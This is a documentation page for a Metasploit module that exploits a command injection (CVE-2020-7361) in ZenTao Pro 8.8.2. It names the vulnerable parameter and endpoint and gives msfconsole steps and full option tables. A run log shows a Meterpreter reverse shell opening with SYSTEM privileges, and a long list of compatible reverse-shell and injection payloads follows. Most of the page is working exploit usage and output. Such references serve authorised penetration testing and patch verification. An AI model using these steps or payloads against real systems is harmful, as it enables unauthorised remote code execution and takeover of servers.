ZenTao Pro 8.8.2 Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/windows/http/zentao_pro_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: ZenTao Pro 8.8.2 Remote Code Execution
Module: exploit/windows/http/zentao_pro_rce
Source code: modules/exploits/windows/http/zentao_pro_rce.rb
Disclosure date: 2020-06-20
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-7361
This module exploits a command injection vulnerability in ZenTao Pro 8.8.2 and earlier versions in order to execute arbitrary commands with SYSTEM privileges. The module first attempts to authenticate to the ZenTao dashboard. It then tries to execute the payload by submitting fake repositories via the 'Repo Create' function that is accessible from the dashboard via CI>Repo. More precisely, the module sends HTTP POST requests to '/pro/repo-create.html' that inject commands in the vulnerable 'path' parameter which corresponds to the 'Client Path' input field. Valid credentials for a ZenTao admin account are required. This module has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on Windows 10 (XAMPP server).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/http/zentao_pro_rce
msf exploit(zentao_pro_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a command injection vulnerability in ZenTao Pro 8.8.2 and earlier versions in order to execute arbitrary commands with SYSTEM privileges.
The module first tries to obtain the ZenTao Pro version from /pro/user-login.html. If a vulnerable version is found, it attempts to authenticate to the ZenTao dashboard. It then tries to execute the payload by submitting fake repositories via the 'Repo Create' function that is accessible from the dashboard via CI>Repo. More precisely, the module sends HTTP POST requests to '/pro/repo-create.html' that inject commands in the vulnerable 'path' parameter which corresponds to the 'Client Path' input field.
Valid credentials for a ZenTao admin account are required. This module has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on Windows 10 (XAMPP server).
Vulnerable software for testing can be downloaded here
and here.
The easiest way to install the application is by downloading the 'One-Click Installation Package for Windows'.
The package for ZenTao 8.8.2 is available here.
Installation is then just a matter of unzipping the package, launching the ZenTao Runner control panel via Xampp\ start.exe
and finally configuring and starting the server from ZenTao Runner. Detailed instructions are available here.
Verification Steps
- Install the module as usual
- Start msfconsole
- Do:
use exploit/windows/http/zentao_pro_rce
- Do:
set RHOSTS [IP]
- Do:
set USERNAME [username for the ZenTao Pro account]
- Do:
set PASSWORD [password for the ZenTao Pro account]
- Do:
set payload [payload]
- Do:
set LHOST [IP]
- Do:
exploit
Options
PASSWORD
The password for the ZenTao Pro account to authenticate with. This option is required.
TARGETPATH
The path on the target where commands will be executed. The default value is C:\
.
TARGETURI
The base path to ZenTao Pro. The default value is /pro/
.
USERNAME
The username for the ZenTao Pro account to authenticate with. This option is required.
Targets
Id Name
-- ----
0 Windows (x86)
1 Windows (x64)
Scenarios
ZenTao 8.8.2 running on Windows 10 (XAMPP server)
msf5 exploit(windows/http/zentao_pro_rce) > show options
Module options (exploit/windows/http/zentao_pro_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD zentao123 yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.9.14 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETPATH C:\ yes The path on the target where commands will be executed
TARGETURI /pro/ yes The base path to ZenTao
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows (x64)
msf5 exploit(windows/http/zentao_pro_rce) > run
[*] Started reverse TCP handler on 192.168.1.12:4444
[+] Successfully authenticated to ZenTao 8.8.2.
[*] Executing the payload...
[*] Command Stager progress - 20.97% done (2049/9770 bytes)
[*] Command Stager progress - 41.94% done (4098/9770 bytes)
[*] Command Stager progress - 62.92% done (6147/9770 bytes)
[*] Command Stager progress - 83.89% done (8196/9770 bytes)
[*] Command Stager progress - 100.15% done (9785/9770 bytes)
[*] Sending stage (201283 bytes) to 192.168.9.14
[*] Meterpreter session 1 opened (192.168.1.12:4444 -> 192.168.9.14:50506) at 2020-07-08 15:01:22 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Go back to menu.
Msfconsole Usage
Here is how the windows/http/zentao_pro_rce exploit module looks in the msfconsole:
msf6 > use exploit/windows/http/zentao_pro_rce
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/zentao_pro_rce) > show info
Name: ZenTao Pro 8.8.2 Remote Code Execution
Module: exploit/windows/http/zentao_pro_rce
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-06-20
Provided by:
Daniel Monz��n
Melvin Boers
Erik Wynter
Available targets:
Id Name
-- ----
0 Windows (x86)
1 Windows (x64)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETPATH C:\Windows\Temp yes The path on the target where commands will be executed
TARGETURI /pro/ yes The base path to ZenTao
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a command injection vulnerability in ZenTao Pro
8.8.2 and earlier versions in order to execute arbitrary commands
with SYSTEM privileges. The module first attempts to authenticate to
the ZenTao dashboard. It then tries to execute the payload by
submitting fake repositories via the 'Repo Create' function that is
accessible from the dashboard via CI>Repo. More precisely, the
module sends HTTP POST requests to '/pro/repo-create.html' that
inject commands in the vulnerable 'path' parameter which corresponds
to the 'Client Path' input field. Valid credentials for a ZenTao
admin account are required. This module has been successfully tested
against ZenTao 8.8.1 and 8.8.2 running on Windows 10 (XAMPP server).
References:
https://www.exploit-db.com/exploits/48633
https://nvd.nist.gov/vuln/detail/CVE-2020-7361
Module Options
This is a complete list of options available in the windows/http/zentao_pro_rce exploit:
msf6 exploit(windows/http/zentao_pro_rce) > show options
Module options (exploit/windows/http/zentao_pro_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETPATH C:\Windows\Temp yes The path on the target where commands will be executed
TARGETURI /pro/ yes The base path to ZenTao
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows (x86)
Advanced Options
Here is a complete list of advanced options supported by the windows/http/zentao_pro_rce exploit:
msf6 exploit(windows/http/zentao_pro_rce) > show advanced
Module advanced options (exploit/windows/http/zentao_pro_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, certutil)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/http/zentao_pro_rce module can exploit:
msf6 exploit(windows/http/zentao_pro_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Windows (x86)
1 Windows (x64)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/zentao_pro_rce exploit:
msf6 exploit(windows/http/zentao_pro_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
6 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
12 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
13 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
14 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
15 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
16 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
17 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
18 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
19 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
21 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
22 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
23 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
24 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
25 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
26 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
27 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
28 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
29 payload/windows/exec normal No Windows Execute Command
30 payload/windows/loadlibrary normal No Windows LoadLibrary Path
31 payload/windows/messagebox normal No Windows MessageBox
32 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
33 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
34 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
35 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
36 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
37 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
38 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
39 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
41 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
42 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
43 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
44 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
45 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
46 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
47 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
48 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
49 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
50 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
51 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
52 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
53 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
55 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
56 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
57 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
58 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
59 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
60 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
61 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
62 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
63 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
64 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
65 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
66 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
67 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
68 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
70 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
71 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
72 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
73 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
74 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
75 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
76 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
77 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
78 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
79 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
80 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
81 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
82 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
83 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
84 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
85 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
86 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
88 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
89 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
90 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
91 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
92 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
93 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
94 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
95 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
96 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
97 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
98 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
99 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
100 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
101 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
102 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
103 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
104 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
105 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
106 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
107 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
108 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
109 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
110 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
111 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
112 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
113 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
114 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
115 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
116 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
117 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
118 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
119 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
120 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
121 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
122 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
123 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
124 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
125 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
126 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
127 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
128 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
129 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
130 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
131 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
132 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
133 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
134 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
135 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
136 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
137 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
138 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
139 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
140 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
